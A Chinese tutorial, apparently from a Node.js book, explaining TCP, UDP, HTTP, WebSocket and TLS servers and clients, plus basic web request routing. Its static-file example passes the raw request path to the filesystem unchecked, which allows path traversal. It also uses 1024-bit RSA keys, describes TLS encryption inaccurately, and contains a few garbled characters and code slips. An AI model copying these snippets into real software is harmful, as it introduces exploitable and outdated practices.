Node——网络编程和Web应用
@
网络编程
利用Node可以十分方便地搭建网络服务器。
在Web领域,大多数的编程语言需要专门的Web 服务器作为容器,如ASP、ASPNET需要IIS作为服务器,PHP需要搭载Apache或Nginx环境等, JSP需要Tomcat服务器等。但对于Node而言,只需要几行代码即可构建服务器,无需额外的容器。
Node提供了net、dgram、http、https这4个模块,分别用于处理TCP、UDP、HTTP、HTTPS, 适用于服务器端和客户端。
构建TCP服务
创建TCP会话的过程中,服务器端和客户端分别提供一个套接字,这两个套接字共同形成一个连接。
服务器端与客户端则通过套接字实现两者之间连接的操作。
创建TCP服务器
var net = require('net');
let server = net.createServer(function(socket) {
// 新的连接
socket.on('data', function(data) {
socket.write("你好");
});
socket.on('end', function() {
console.log('断开连接');
});
socket.write("深入浅出node.js \n");
});
server.listen(8124, function() {
console.log('server bound');
})
通过net模块自行构造客户端进行会话,测试上面构建的TCP服务的代码如下所示:
var net = require('net');
var client = net.connect({ port: 8124 }, function() { //'connect' listener
console.log('client connected');
client.write('world!\r\n');
});
client.on('data', function(data) {
console.log(data.toString());
client.end();
});
client.on('end', function() {
console.log('client disconnected');
});
TCP服务事件
事件分类:
- 服务器事件
- 连接事件
服务器事件
对于通过net.createServer ()创建的服务器而言,它是一个EventEmitter实例,它的自定义 事件有如下几种。
- listening:在调用server.listen()绑定端口或者Domain Socket后触发,简洁写法为 server. listen(port,listeningListener),通过 listen()方法的第二个参数传入。
- connection :每个客户端套接字连接到服务器端时触发,简洁写法为通过net.create-Server(),最后一个参数传递。
- close:当服务器关闭时触发,在调用server.close()后,服务器将停止接受新的套接连接,但保持当前存在的连接,等待所有连接都断开后,会触发该事件。
- error:当服务器发生异常时,将会触发该事件。比如侦听一个使用中的端口,将会触发 一个异常,如果不侦听err。r事件,服务器将会抛出异常。
连接事件
服务器可以同时与多个客户端保持连接,对于每个连接而言是典型的可写可读Stream对象。 Stream对象可以用于服务器端和客户端之间的通信,既可以通过data事件从一端读取另一端发来的数据,也可以通过write()方法从一端向另一端发送数据。
它具有如下自定义事件。
- data :当一端调用write()发送数据时,另一端会触发data事件,事件传递的数据即是 write()发送的数据。
- end:当连接中的任意一端发送了FIN数据时,将会触发该事件。
- connect:该事件用于客户端,当套接字与服务器端连接成功时会被触发。
- drain:当任意一端调用write()发送数据时,当前这端会触发该事件。
- error:当异常发生时,触发该事件。
- close:当套接字完全关闭时,触发该事件。
- timeout:当一定时间后连接不再活跃时,该事件将会被触发,通知用户当前该连接已经被闲置了。
说明:
值得注意的是,TCP针对网络中的小数据包有一定的优化策略:Nagle算法。如果每次只发送一个字节的内容而不优化,网络中将充满只有极少数有效数据的数据包,将十分浪费网络资源。 Nagle算法针对这种情况,要求缓冲区的数据达到一定数量或者一定时间后才将其发出,所以小数据包将会被Nagle算法合并,以此来优化网络。这种优化虽然使网络带宽被有效地使用,但是数据有可能被延迟发送。
在Node中,由于TCP默认启用了Nagle算法,可以调用socket.setNoDelay(true)去掉Nagle算 法,使得write()可以立即发送数据到网络中。
另一个需要注意的是,尽管在网络的一端调用write()会触发另一端的data事件,但是并不意味着每次write ()都会触发一次data事件,在关闭掉Nagl e算法后,另一端可能会将接收到的多 个小数据包合并,然后只触发一次data事件。
构建UDP服务
UDP又称用户数据包协议,与TCP一样同属于网络传输层。
UDP与TCP最大的不同是UDP不是面向连接的。
TCP中连接一旦建立,所有的会话都基于连接完成,客户端如果要与另一个TCP服务通信,需要另创建一个套接字来完成连接。
但在UDP中,一个套接字可以与多个UDP服务通信,它虽然提供面向事务的简单不可靠信息传输服务,在网络差的情况下存在丢包严重的问题,但是由于它无须连接,资源消耗低,处理快速且灵活,所以常常应用在那种偶尔丢一两个数据包也不会产生 重大影响的场景,比如音频、视频等。UDP目前应用很广泛,DNS服务即是基于它实现的。
创建UDP套接字
创建UDP套接字十分简单,UDP套接字一旦创建,既可以作为客户端发送数据,也可以作为服务器端接收数据。
下面的代码创建了一个UDP套接字:
var dgram = require('dgram');
var socket = dgram.createSocket("udp4");
创建UDP服务器端
若想让UDP套接字接收网络消息,只要调用dgram.bind(port, [address])方法对网卡和端口 进行绑定即可。
以下为一个完整的服务器端示例:
var dgram = require("dgram");
var server = dgram.createSocket("udp4");
server.on("message", function(msg, rinfo) {
console.log("server got: " + msg + " from " +
rinfo.address + ":" + rinfo.port);
});
server.on("listening", function() {
var address = server.address();
console.log("server listening " +
address.address + ":" + address.port);
});
server.bind(41234);
// 该套接字将接收所有网卡上41234端口上的消息。在绑定完成后,将触发listening事件。
创建UDP客户端
创建一个客户端与服务器端进行对话,代码如下:
var dgram = require('dgram');
var message = new Buffer("深入Node.js");
var client = dgram.createSocket("udp4");
client.send(message, 0, message.length, 41234, "localhost", function(err, bytes) {
client.close();
});
当套接字对象用在客户端时,可以调用send。方法发送消息到网络中。
send()方法的参数如下:
socket.send(buf, offset, length, port, address, [callback])
这些参数分别为要发送的Buffer、Buffer的偏移、Buffer的长度、目标端口、目标地址、发送 完成后的回调。
与TCP套接字的write()。
相比,send()方法的参数列表相对复杂,但是它更灵活的地方在于可以随意发送数据到网络中的服务器端,而TCP如果要发送数据给另一个服务器端,则需要重新通过套接字构造新的连接。
UDP套接字事件
UDP套接字相对TCP套接字使用起来更简单,它只是一个EventEmitter的实例,而非Stream 的实例。它具备如下自定义事件。
- message:当UDP套接字侦听网卡端口后,接收到消息时触发该事件,触发携带的数据为消息Buffer对象和一个远程地址信息。
- listening :当UDP套接字开始侦听时触发该事件。
- close:调用close()方法时触发该事件,并不再触发message事件。如需再次触发message 事件,重新绑定即可。
- error:当异常发生时触发该事件,如果不侦听,异常将直接抛出,使进程退出。
构建HTTP服务
Node提供了基本的http和https模块用于HTTP 和HTTPS的封装,对于其他应用层协议的封装,也能从社区中轻松找到其实现。
http 模块
Node的http模块包含对HTTP处理的封装。
在Node中,HTTP服务继承自TCP服务器(net模块),它能够与多个客户端保持连接,由于其采用事件驱动的形式,并不为每一个连接创建额外的线程或进程,保持很低的内存占用,所以能实现高并发。
HTTP服务与TCP服务模型有区别的地方在于,在开启keepalive后,一个TCP会话可以用于多次请求和响应。
TCP服务以connection 为单位进行服务,HTTP服务以request为单位进行服务。
http模块即是将connection到request的过程进行了封装
示意图如图7-3所示。
除此之外,http模块将连接所用套接字的读写抽象为ServerRequest和ServerResponse对象,它们分别对应请求和响应操作。
在请求产生的过程中,http模块拿到连接中传来的数据,调用二进制模块http_parser进行解析,在解析完请求报文的报头后,触发request事件,调用用户的业务逻辑。
封装http服务端请求
对于TCP连接的读操作,http模块将其封装为ServerRequest对象。
查看以下请求报文,报文头部将会通过http_parser进行解析。
> GET / HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5
> Host: 127.0.0.1:1337
> Accept: */*
报文头第一行GET / HTTP/1.1被解析之后分解为如下属性。
- req.method属性:值为GET,是为请求方法,常见的请求方法有GET、POST、DELETE、PUT、 CONNECT等几种。
- req.ur l属性:值为/。
- req.httpVersion属性:值为1.1。
其余报头是很规律的Key: Value格式,被解析后放置在req.headers属性上传递给业务逻辑以供调用,
如下所示:
headers:
{ 'user-agent': 'curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5',
host: '127.0.0.1:1337',
accept: '*/*'
},
报文体部分则抽象为一个只读流对象,如果业务逻辑需要读取报文体中的数据,则要在这个数据流结束后才能进行操作,
如下所示:
function(req, res) {
// console.log(req.headers);
var buffers = [];
req.on('data', function(trunk) {
buffers.push(trunk);
}).on('end', function() {
var buffer = Buffer.concat(buffers);
// TODO
res.end('Hello world');
});
}
HTTP请求对象和HTTP响应对象是相对较底层的封装,现行的Web框架如Connect和Express 都是在这两个对象的基础上进行高层封装完成的。
封装http服务端响应
HTTP响应相对简单一些,它封装了对底层连接的写操作,可以将其看成一个可写的流对象。
它影响响应报文头部信息的API为res.setHeader()和res. writeHead()。
res.writeHead(200, {'Content-Type': 'text/plain'});
其分为setHeader()和writeHead()两个步骤。
它在http模块的封装下,实际生成如下报文:
< HTTP/1.1 200 OK
< Content-Type: text/plain
我们可以调用setHeader进行多次设置,但只有调用writeHead后,报头才会写入到连接中。
除此之外,http模块会自动帮你设置一些头信息,如下所示:
< Date: Sat, 06 Apr 2013 08:01:44 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
<
报文体部分则是调用res.write()和res.end()方法实现,
后者与前者的差别在于res.end()会先调用write()发送数据,然后发送信号告知服务器这次响应结束。
响应结束后,HTTP服务器可能会将当前的连接用于下一个请求,或者关闭连接。
值得注意的是,报头是在报文体发送前发送的,一旦开始了数据的发送,writeHead()和setHeader。将不再生效。这由协议的特性决定。
另外,无论服务器端在处理业务逻辑时是否发生异常,务必在结束时调用res.end()结束请求,否则客户端将一直处于等待的状态。
当然,也可以通过延迟res.end()的方式实现客户端与服务器端之间的长连接,但结束时务必关闭连接。
HTTP服务端事件
如同TCP服务一样,HTTP服务器也抽象了一些事件,以供应用层使用,同样典型的是,服 务器也是一个EventEmitter实例。
- connection事件:在开始HTTP请求和响应前,客户端与服务器端需要建立底层的TCP连 接,这个连接可能因为开启了keep-alive,可以在多次请求响应之间使用;当这个连接建 立时,服务器触发一次connection事件。
- request事件:建立TCP连接后,http模块底层将在数据流中抽象出HTTP请求和HTTP响 应,当请求数据发送到服务器端,在解析出HTTP请求头后,将会触发该事件;在res.end() 后,TCP连接可能将用于下一次请求响应。
- close事件:与TCP服务器的行为一致,调用server.close()方法停止接受新的连接,当已 有的连接都断开时,触发该事件;可以给server.close()传递一个回调函数来快速注册该 事件。
- checkContinue事件:某些客户端在发送较大的数据时,并不会将数据直接发送,而是先 发送一个头部带Expect: 100-continue的请求到服务器,服务器将会触发checkContinue 事件;如果没有为服务器监听这个事件,服务器将会自动响应客户端100 Continue的状态 码,表示接受数据上传;如果不接受数据的较多时,响应客户端400 Bad Request拒绝客 户端继续发送数据即可。需要注意的是,当该事件发生时不会触发request事件,两个事 件之间互斥。当客户端收到100 Continue后重新发起请求时,才会触发request事件。
- connect事件:当客户端发起CONNECT请求时触发,而发起CONNECT请求通常在HTTP代理时出现;如果不监听该事件,发起该请求的连接将会关闭。
- upgrade事件:当客户端要求升级连接的协议时,需要和服务器端协商,客户端会在请求 头中带上Upgrade字段,服务器端会在接收到这样的请求时触发该事件。这在后文的 WebSocket部分有详细流程的介绍。如果不监听该事件,发起该请求的连接将会关闭。
- clientError事件:连接的客户端触发error事件时,这个错误会传递到服务器端,此时触发该事件。
HTTP客户端
在对服务器端的实现进行了描述后,HTTP客户端的原理几乎不用再描述,因为它就是服务器端服务模型的另一部分,处于HTTP的另一端,在整个报文的参与中,报文头和报文体由它产生。
同时http模块提供了一个底层API: http.request(options, connect),用于构造HTTP客户端。
var options = {
hostname: '127.0.0.1',
port: 1334,
path: '/',
method: 'GET'
};
var req = http.request(options, function(res) {
console.log('STATUS: ' + res.statusCode);
console.log('HEADERS: ' + JSON.stringify(res.headers));
res.setEncoding('utf8');
res.on('data', function (chunk) {
console.log(chunk);
});
});
req.end();
其中options参数决定了这个HTTP请求头中的内容,它的选项有如下这些。
- host :服务器的域名或IP地址,默认为localhost。
- hostname:服务器名称。
- port :服务器端口,默认为80。
- localAddress:建立网络连接的本地网卡。
- socketPath: Domain套接字路径。
- method: HTTP请求方法,默认为GET。
- path :请求路径,默认为/。
- headers:请求头对象。
- auth: Basic认证,这个值将被计算成请求头中的Authorization部分。
报文体的内容由请求对象的write()和end()方法实现:通过write()方法向连接中写入数据, 通过end()方法告知报文结束。
它与浏览器中的Ajax调用几近相同,Ajax的实质就是一个异步的网络HTTP请求。
http客户端响应
HTTP客户端的响应对象与服务器端较为类似,在ClientRequest对象中,它的事件叫做 response。
ClientRequest在解析响应报文时,一解析完响应头就触发response事件,同时传递一 个响应对象以供操作ClientResponse。
后续响应报文体以只读流的方式提供,如下所示:
function(res) {
console.log('STATUS: ' + res.statusCode);
console.log('HEADERS: ' + JSON.stringify(res.headers));
res.setEncoding('utf8');
res.on('data', function (chunk) {
console.log(chunk);
});
}
// 由于从响应读取数据与服务器端ServerRequest读取数据的行为较为类似
HTTP代理
如同服务器端的实现一般,http提供的ClientRequest对象也是基于TCP层实现的,在 keepalive的情况下,一个底层会话连接可以多次用于请求。
为了重用TCP连接,http模块包含一 个默认的客户端代理对象http.globalAgent。它对每个服务器端(host + port)创建的连接进行了 管理,默认情况下,通过ClientRequest对象对同一个服务器端发起的HTTP请求最多可以创建5 个连接。
它的实质是一个连接池,示意图如图7-5所示。
调用HTTP客户端同时对一个服务器发起10次HTTP请求时,其实质只有5个请求处于并发状态,后续的请求需要等待某个请求完成服务后才真正发出。
这与浏览器对同一个域名有下载连接数的限制是相同的行为。
如果你在服务器端通过ClientRequest调用网络中的其他HTTP服务,记得关注代理对象对网络请求的限制。
一旦请求量过大,连接限制将会限制服务性能。如需要改变,可以在options中传递agent选项。
默认情况下,请求会采用全局的代理对象,默认连接数限制的为5。
我们既可以自行构造代理对象,代码如下:
var agent = new http.Agent({
maxSockets: 10
});
var options = {
hostname: '127.0.0.1',
port: 1334,
path: '/',
method: 'GET',
agent: agent
};
Agent对象的sockets和requests属性分别表示当前连接池中使用中的连接数和处于等待状态的请求数,在业务中监视这两个值有助于发现业务状态的繁忙程度。
HTTP客户端事件
与服务器端对应的,HTTP客户端也有相应的事件。
- response:与服务器端的request事件对应的客户端在请求发出后得到服务器端响应时, 会触发该事件。
- socket :当底层连接池中建立的连接分配给当前请求对象时,触发该事件。
- connect:当客户端向服务器端发起CONNECT请求时,如果服务器端响应了200状态码,客 户端将会触发该事件。
- upgrade:客户端向服务器端发起Upgrade请求时,如果服务器端响应了 101 Switching Protocols状态,客户端将会触发该事件。
- continue:客户端向服务器端发起Expect: 100-continue头信息,以试图发送较大数据量, 如果服务器端响应100 Continue状态,客户端将触发该事件。
构建WebSocket服务
提到Node,不能错过的是WebSocket协议。它与Node之间的配合堪称完美,其理由有两条。
- WebSocket客户端基于事件的编程模型与Node中自定义事件相差无几。
- WebSocket实现了客户端与服务器端之间的长连接,而Node事件驱动的方式十分擅长与大量的客户端保持高并发连接。
除此之外,WebSocket与传统HTTP有如下好处。
- 客户端与服务器端只建立一个TCP连接,可以使用更少的连接。
- WebSocket服务器端可以推送数据到客户端,这远比HTTP请求响应模式更灵活、更高效。
- 有更轻量级的协议头,减少数据传送量。
var socket = new WebSocket('ws://127.0.0.1:12010/updates');
socket.onopen = function() {
setInterval(function() {
if (socket.bufferedAmount == 0)
socket.send(getUpdateData());
}, 50);
};
socket.onmessage = function(event) {
// TODO: event.data
};
上述代码中,浏览器与服务器端创建WebSocket协议请求,在请求完成后连接打开,每50毫秒向服务器端发送一次数据,同时可以通过onmessage()方法接收服务器端传来的数据。
这行为与TCP客户端十分相似,相较于HTTP,它能够双向通信。
使用WebSocket的话,网页客户端只需一个TCP连接即可完成双向通信,在服务器端与客户 端频繁通信时,无须频繁断开连接和重发请求。连接可以得到高效应用,编程模型也十分简洁。
前文也或多或少提到了WebSocket与HTTP的区别,相比HTTP,WebSocket更接近于传输层协议,它并没有在HTTP的基础上模拟服务器端的推送,而是在TCP上定义独立的协议。
让人迷惑的部分在于WebSocket的握手部分是由HTTP完成的,使人觉得它可能是基于HTTP实现的。
WebSocket协议主要分为两个部分:握手和数据传输。
握手
// 客户端建立连接时,通过HTTP发起请求报文,如下所示:
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
与普通的HTTP请求协议略有区别的部分在于如下这些协议头:
Upgrade: websocket
Connection: Upgrade
上述两个字段表示请求服务器端升级协议为WebSocket。
其中Sec-WebSocket-Key用于安全 校验:Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Key的值是随机生成的Base64编码的字符串。
服务器端接收到之后将其与字符 串258EAFA5-E914-47DA-95CA-C5ABODC85B11 相连,
形成字符串dGhlIHNhbXBsZSBub25jZQ==258EAFA5-E914-47DA-95CA-C5AB0DC85B11,
然后通过shal安全散列算法计算出结果后,再进行Base64编码, 最后返回给客户端。
这个算法如下所示:
var crypto = require('crypto');
var val = crypto.createHash('sha1').update(key).digest('base64');
另外,下面两个字段指定子协议和版本号:
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
服务器端在处理完请求后,响应如下报文:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Sec-WebSocket-Protocol: chat
上面的报文告之客户端正在更换协议,更新应用层协议为WebSocket协议,并在当前的套接字连接上应用新协议。
剩余的字段分别表示服务器端基于Sec-WebSocket-Key生成的字符串和选中的子协议。
客户端将会校验Sec-WebSocket-Accept的值,如果成功,将开始接下来的数据传输。
一旦WebSocket握手成功,服务器端与客户端将会呈现对等的效果,者S能接收和发送消息。
数据传输
在握手顺利完成后,当前连接将不再进行HTTP的交互,而是开始WebSocket的数据帧协议, 实现客户端与服务器端的数据交换。
图7-6为协议升级过程示意图。
握手完成后,客户端的onopen()将会被触发执行,代码如下:
socket.onopen = function () {
// TODO: opened()
};
服务器端则没有onopen()方法可言。
为了完成TCP套接字事件到WebSocket事件的封装,需要在接收数据时进行处理,WebSocket的数据帧协议即是在底层data事件上封装完成的,代码如下:
WebSocket.prototype.setSocket = function (socket) {
this.socket = socket;
this.socket.on('data', this.receiver);
};
同样的数据发送时,也需要做封装操作,代码如下:
WebSocket.prototype.send = function (data) {
this._send(data);
};
当客户端调用send()发送数据时,服务器端触发onmessage();
当服务器端调用send()发送数 据时,客户端的onmessage()触发。
当我们调用send()发送一条数据时,协议可能将这个数据封装为一帧或多帧数据,然后逐帧发送。
注意:
为了安全考虑,客户端需要对发送的数据帧进行掩码处理,服务器一旦收到无掩码帧(比如中间拦截破坏),连接将关闭。
而服务器发送到客户端的数据帧则无须做掩码处理,同样,如果客户端收到带掩码的数据帧,连接也将关闭。
我们以客户端发送hello world!到服务器端,服务器端回以yakexi作为一个流程来研究数据 帧协议的实现过程。
图7-7中为WebSocket数据帧的定义,每8位为一列,也即1个字节。其中每一位都有它的意义。
- fin:如果这个数据帧是最后一帧,这个fin位为1,其余情况为0。当一个数据没有被分为 多帧时,它既是第一帧也是最后一帧。
- rsvl、rsv2、rsv3 :各为1位长,3个标识用于扩展,当有已协商的扩展时,这些值可能为 1,其余情况为0。
- opcode:长为4位的操作码,可以用来表示0到15的值,用于解释当前数据帧。0表示附加 数据帧,1表示文本数据帧,2表示二进制数据帧,8表示发送一个连接关闭的数据帧,9 表示ping数据帧,10表示pong数据帧,其余值暂时没有定义o ping数据帧和pong数据帧用 于心跳检测,当一端发送ping数据帧时,另一端必须发送pong数据帧作为响应,告知对方 这一端仍然处于响应状态。
- masked:表示是否进行掩码处理,长度为1。客户端发送给服务器端时为1,服务器端发送 给客户端时为0。
- payload length: 一个7、7+16或7+64位长的数据位,标识数据的长度,如果值在0〜125 之间,那么该值就是数据的真实长度;如果值是126,则后面16位的值是数据的真实长度; 如果值是127,则后面64位的值是数据的真实长度。
- masking key:当masked为1时存在,是一个32位长的数据位,用于解密数据。
- payload data:我们的目标数据,位数为8的倍数。
客户端发送消息时,需要构造一个或多个数据帧协议报文。
由于hello world!较短,不存在 分割为多个数据帧的情况,又由于hello world!会以文本的方式发送,
它的payload length长度 为96(12字节x 8位/字节),二进制表示为1100000。所以报文应当如下:
fin(1) + res(000) + opcode(0001) + masked(1) + payload length(1100000) + masking key(32位) + payload
data(hello world!加密ࢫ的ܾ进制)
当以文本方式发送时,文本的编码为UTF-8,由于这里发送的不存在中文,所以一个字符占一个字节,即8位。
客户端发送消息后,服务器端在data事件中接收到这些编码数据,然后解析为相应的数据帧, 再以数据帧的格式,通过掩码将真正的数据解密出来,然后触发onmessage。执行,如下所示
socket.onmessage = function (event) {
// TODO: event.data
};
服务器端再回复yakex i的时候,剩下的事情就是无须掩码,其余相同,如下所示:
fin(1) + res(OOO)+ opcode(0001) + masked(o) + payload length(1100000) + payload data (yakexi 的二进制)
这里的行为与纯TCP连接的行为十分类似,近似地可以理解为TCP客户端套接字的connect 事件和data事件。
小结
在所有的WebSocket服务器端实现中,没有比Node更贴近WebSocket的使用方式了。它们的 共性有以下内容。
- 基于事件的编程接口。
- 基于JavaScript,以封装良好的WebSocket实现,API与客户端可以高度相似。
另外,Node基于事件驱动的方式使得它应对WebSocket这类长连接的应用场景可以轻松地处 理大量并发请求。
尽管Node没有内置WebSocket的库,但是社区的ws模块封装了WebSocket的底层实现。socket.io即是在它的基础上构建实现的。
网络服务与安全
在网络中,数据在服务器端和客户端之间传递,由于是明文传递的内容,一旦在网络被人监 控,数据就可能一览无余地展现在中间的窃听者面前。为此我们需要将数据加密后再进行网络传 输,这样即使数据被截获和窃听,窃听者也无法知道数据的真实内容是什么。但是对于我们的应 用层协议而言,如HTTP、FTP等,我们仍然希望能够透明地处理数据,而无须操心网络传输过 程中的安全问题。
在网景公司的NetScape浏览器推出之初就提出了SSL (Secure Sockets Layer, 安全套接层)。SSL作为一种安全协议,它在传输层提供对网络连接加密的功能。对于应用层 言,它是透明的,数据在传递到应用层之前就已经完成了加密和解密的过程。
最初的SSL应用在 Web上,被服务器端和浏览器端同时支持,随后IETF将其标准化,称为TLS ( Transport Layer Security,安全传输层协议)。
Node在网络安全上提供了3个模块,分别为crypto、tls、https。
其中crypt,主要用于加密解密,SHA1、MD5等加密算法都在其中有体现。
真正用于网络的是另外两个模块,tls模块提供了与net模块类似的功能,区别在于它建立在TLS/SSL加密的TCP 连接上。
对于https而言,它完全与http模块接口一致,区别也仅在于它建立于安全的连接 之上。
TLS/SSL 安全
公钥和私钥
TLS/SSL是一个公钥/私钥的结构,它是一个非对称的结构,每个服务器端和客户端都有自己 的公私钥。
公钥用来加密要传输的数据,私钥用来解密接收到的数据。
公钥和私钥是配对的,通 过公钥加密的数据,只有通过私钥才能解密,所以在建立安全传输之前,客户端和服务器端之间需要互换公钥。
客户端发送数据时要通过服务器端的公钥进行加密,服务器端发送数据时则需要客户端的公钥进行加密,如此才能完成加密解密的过程,如图7-8所示。
Node在底层采用的是openssl实现TLS/SSL的,为此要生成公钥和私钥可以通过openssl完成。
我们分别为服务器端和客户端生成私钥,如下所示:
// 生成服务器端私ሃ
$ openssl genrsa -out server.key 1024
// 生成客户端私ሃ
$ openssl genrsa -out client.key 1024
// 上述命令生成了两个1024位长的RSA私钥文件,我们可以通过它继续生成公钥,如下所示:
$ openssl rsa -in server.key -pubout -out server.pem
$ openssl rsa -in client.key -pubout -out client.pem
公私钥的非对称加密虽好,但是网络中依然可能存在窃听的情况,典型的例子是中间人攻击。
为了解决这个问题,TLS/SSL引入了数字证书来进行认证。
与直接用公钥不同,数字证书中包含了服务器的名称和主机名、服务器的公钥、签名颁发机构的名称、来自签名颁发机构的签名。
在连接建立前,会通过证书中的签名确认收到的公钥是来自目标服务器的,从而产生信任关系。
数字证书
为了确保我们的数据安全,现在我们引入了一个第三方:CA( Certificate Authority,数字证书认证中心)。
CA的作用是为站点颁发证书,且这个证书中具有CA通过自己的公钥和私钥实现的签名。
- 为了得到签名证书,服务器端需要通过自己的私钥生成CSR ( Certificate Signing Request,证书签名请求)文件。
- CA机构将通过这个文件颁发属于该服务器端的签名证书,只要通过CA机构就能验证证书是否合法。
TLS服务
创建服务器端
将构建服务所需要的证书都备齐之后,我们通过Node的tls模块来创建一个安全的TCP服务,
这个服务是一个简单的echo服务,代码如下:
var tls = require('tls');
var fs = require('fs');
var options = {
key: fs.readFileSync('./keys/server.key'),
cert: fs.readFileSync('./keys/server.crt'),
requestCert: true,
ca: [fs.readFileSync('./keys/ca.crt')]
};
var server = tls.createServer(options, function(stream) {
console.log('server connected', stream.authorized ? 'authorized' : 'unauthorized');
stream.write("welcome!\n");
stream.setEncoding('utf8');
stream.pipe(stream);
});
server.listen(8000, function() {
console.log('server bound');
})
// 启动上述服务后,通过下面的命令可以测试证书是否正常:
// $ openssl s_client -connect 127.0.0.1:8000
TLS客户端
为了完善整个体系,接下来我们用Node来模拟客户端,如同net模块一样,tls模块也提供了connect()方法来构建客户端。
在构建我们的客户端之前,需要为客户端生成属于自己的私钥和签名,代码如下:
//创建私钥
//$ openssl genrsa - out client.key 1024
//生成CSR
//$ openssl req - new - key client.key - out client.csr
//生成签名证书
//$ openssl x509 - req - CA ca.crt - CAkey ca.key - CAcreateserial - in client.csr - out client.crt
//并创建客户端, 代码如下:
var tls = require('tls');
var fs = require('fs');
var options = {
key: fs.readFileSync('./keys/client.key'),
cert: fs.readFileSync('./keys/client.crt'),
ca: [fs.readFileSync('./keys/ca.crt')]
};
var stream = tls.connect(8000, options, function() {
console.log('client connected', stream.authorized ? 'authorized' : 'unauthorized');
process.stdin.pipe(stream);
});
stream.setEncoding('utf8');
stream.on('data', function(data) {
console.log(data);
});
stream.on('end', function() {
server.close();
});
启动客户端的过程中,用到了为客户端生成的私钥、证书、CA证书。客户端启动之后可以在输入流中输入数据,服务器端将会回应相同的数据。
至此我们完成了TLS的服务器端和客户端的创建。与普通的TCP服务器端和客户端相比,TLS的服务器端和客户端仅仅只在证书的配置上有差别,其余部分基本相同。
HTTPS
HTTPS服务就是工作在TLS/SSL上的HTTP。在了解了TLS服务后,创建HTTPS服务是再简单 不过的事情。
Web应用
在Web 标准化的努力过后,Web又开始朝向应用化发展,JavaScript在前端变得炙手可热。许多原本在服 务器端实现的业务细节,纷纷前移到浏览器端,前端MV*的架构也日趋成熟。
与之逆流的是,Node 的出现将前后端的壁垒再次打破,JavaScript这门最初就能运行在服务器端的语言,在经历了前端的辉煌和后端的低迷后,借助事件驱动和V8的高性能,再次成为了服务器端的佼佼者。
在Web应用中,JavaScript将不再仅仅出现在前端浏览器中,因为Node的出现,“前端”将会被重新定义。
由于前后端采用的语言都是JavaScript,在跨越HTTP进行沟通时,会有一些额外的好处。
- 无须切换语言环境,部分知识不会因为语言环境的切换而丢失,上下文一致性较好。
- 数据(因为JSON )可以很好地实现跨前后端直接使用。
- 一些业务(如模板渲染)可以很自由地轻量地选择是在前端还是在后端进行,因为编程 语言相同,所以切换代价小。
本节会展开描述Web应用在后端实现中的细节和原理。
基础功能(请求和响应的预处理)
Node是十分贴近网络协议的,它的非阻塞、事件机制使得我们在网络编程时十分轻便。
而本章的Web应用方面的内容, 将从http模块中服务器端的request事件开始分析。
request事件发生于网络连接建立,客户端向服务器端发送报文,服务器端解析报文,发现HTTP请求的报头时。
在已触发reqeust事件前,它已准备好ServerRequest和ServerResponse对象以供对请求和响应报文的操作。
对于Web应用而言, 我们可能有如下这些需求:
- 请求方法的判断。
- URL的路径解析。
- URL中查询字符串解析。
- Cookie的解析。
- Session会话
- Basic 认证。
- 表单数据的解析。
- 任意格式文件的上传处理
管Node提供的底层API相对来说比较简单, 但要完成业务需求,还需要大量的工作,仅仅一个request事件似乎无法满足这些需求。
但是要实现这些需求并非难事,一切的一切,都从如下这个函数展开:
function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end();
}
我们的应用可能无限地复杂,但是只要最终结果返回一个上面的函数作为参数,传递给createServer()方法作为request事件的侦听器就可以了。
它的原理即是如此。我们在具体业务开始前,需要为业务预处理一些细节,这些细节将会挂载在req或res对象上,供业务代码使用。
请求方法
在Web应用中,最常见的请求方法是GET和POST,除此之外,还有HEAD、DELETE、PUT、CONNECT 等方法。
请求方法存在于报文的第一行的第一个单词,通常是大写。
HTTP_Parser在解析请求报文的时候,将报文头抽取出来,设置为req.method。
通常,我们 只需要处理GET和POST两类请求方法,但是在RESTful类Web服务中请求方法十分重要,因为它会决定资源的操作行为。
PUT代表新建一个资源,POST表示要更新一个资源,GET表示查看一个资源, 而DELETE表示删除一个资源。
我们可以通过请求方法来决定响应行为,如下所示:
function(req, res) {
switch (req.method) {
case 'POST':
update(req, res);
break;
case 'DELETE':
remove(req, res);
break;
case 'PUT':
create(req, res);
break;
case 'GET':
default:
get(req, res);
}
}
上述代码代表了一种根据请求方法将复杂的业务逻辑分发的思路,是一种化繁为简的方式。
路径解析
除了根据请求方法来进行分发外,最常见的请求判断莫过于路径的判断了。
路径部分存在于报文的第一行的第二部分,如下所示:
GET /path?foo=bar HTTP/1.1
HTTP_Parser将其解析为req.url。一般而言,完整的URL地址是如下这样的:
http://user:pass@host.com:8080/p/a/t/h?query=string#hash
客户端代理(浏览器)会将这个地址解析成报文,将路径和查询部分放在报文第一行。
需要注意的是,hash部分会被丢弃,不会存在于报文的任何地方。
根据路径的业务需求
- 最常见的根据路径进行业务处理的应用是静态文件服务器,它会根据路径去查找磁盘中的文件,然后将其响应给客户端。
如下所示:
function(req, res) {
var pathname = url.parse(req.url).pathname;
fs.readFile(path.join(ROOT, pathname), function(err, file) {
if (err) {
res.writeHead(404);
res.end('找不到相关文件。 - -');
return;
}
res.writeHead(200);
res.end(file);
});
}
- 还有一种比较常见的分发场景是根据路径来选择控制器,它预设路径为控制器和行为的组合,无须额外配置路由信息。
如下所示:/controller/action/a/b/c
这里的controller会对应到一个控制器,action对应到控制器的行为,剩余的值会作为参数进行一些别的判断。
function(req, res) {
var pathname = url.parse(req.url).pathname;
var paths = pathname.split('/');
var controller = paths[1] || 'index';
var action = paths[2] || 'index';
var args = paths.slice(3);
if (handles[controller] && handles[controller][action]) {
handles[controller][action].apply(null, [req, res].concat(args));
} else {
res.writeHead(500);
res.end('找不到响应控制器');
}
}
这样我们的业务部分可以只关心具体的业务实现,如下所示:
handles.index = {};
